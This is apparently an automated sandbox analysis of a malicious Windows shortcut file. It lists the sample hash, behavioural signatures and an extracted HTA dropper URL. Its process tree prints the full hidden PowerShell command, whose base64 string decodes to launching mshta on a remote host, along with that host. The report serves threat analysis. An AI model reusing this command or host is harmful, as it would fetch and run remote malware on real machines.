Analysis
- max time kernel
300s - max time network
203s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
04/05/2026, 15:08
General
- Target Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
- Size 2KB
- Sample260504-sh684aev2y
- SHA256 672276ff3a86783dcd56a706dd931ebcd0023e63f5cdb8fe0f865335a5b9d74e
Malware Config
Extracted
-
hta
-
hta.dropper
https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QU51VVlyWE16V2NscXRTVGFLZ1Z8QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGUgImh0dHBzOi8vMjQzLjE4MC42Mi41MC5ob3N0LnNlY3VyZXNlcnZlci5uZXQvOGI4ZWZlNTctNGNhMy00ZmQ5LThiYWEtMTM1MWNkZjZiNDFjLzRkMmMxZjAwLTM2YjMtNDJmOS05Yzk2LWQ1ZTZmZWUyNTdjZiI=')); $a = $b -split '\|',2 | Select-Object -Last 1; $sb = [ScriptBlock]::Create($a); & $sb"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf3⤵
- Badlisted process makes network request
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3k0qppnu.xs0.ps1
memory/988-2-0x000002A9E0A00000-0x000002A9E0A10000-memory.dmp
memory/988-3-0x000002A9E0A00000-0x000002A9E0A10000-memory.dmp
memory/988-10-0x000002A9E0980000-0x000002A9E09A2000-memory.dmp
memory/988-14-0x000002A9C8690000-0x000002A9C86A2000-memory.dmp
memory/988-13-0x000002A9C81D0000-0x000002A9C81DC000-memory.dmp
memory/1124-24-0x0000028C96E00000-0x0000028C96E0C000-memory.dmp
memory/1124-23-0x0000028C96F40000-0x0000028C970DA000-memory.dmp
memory/1124-41-0x0000028C98FC0000-0x0000028C98FFA000-memory.dmp
memory/1124-69-0x0000028C96F40000-0x0000028C970DA000-memory.dmp
memory/1708-16-0x000001ADD25C0000-0x000001ADD25CC000-memory.dmp
memory/1708-15-0x000001ADD21B0000-0x000001ADD234A000-memory.dmp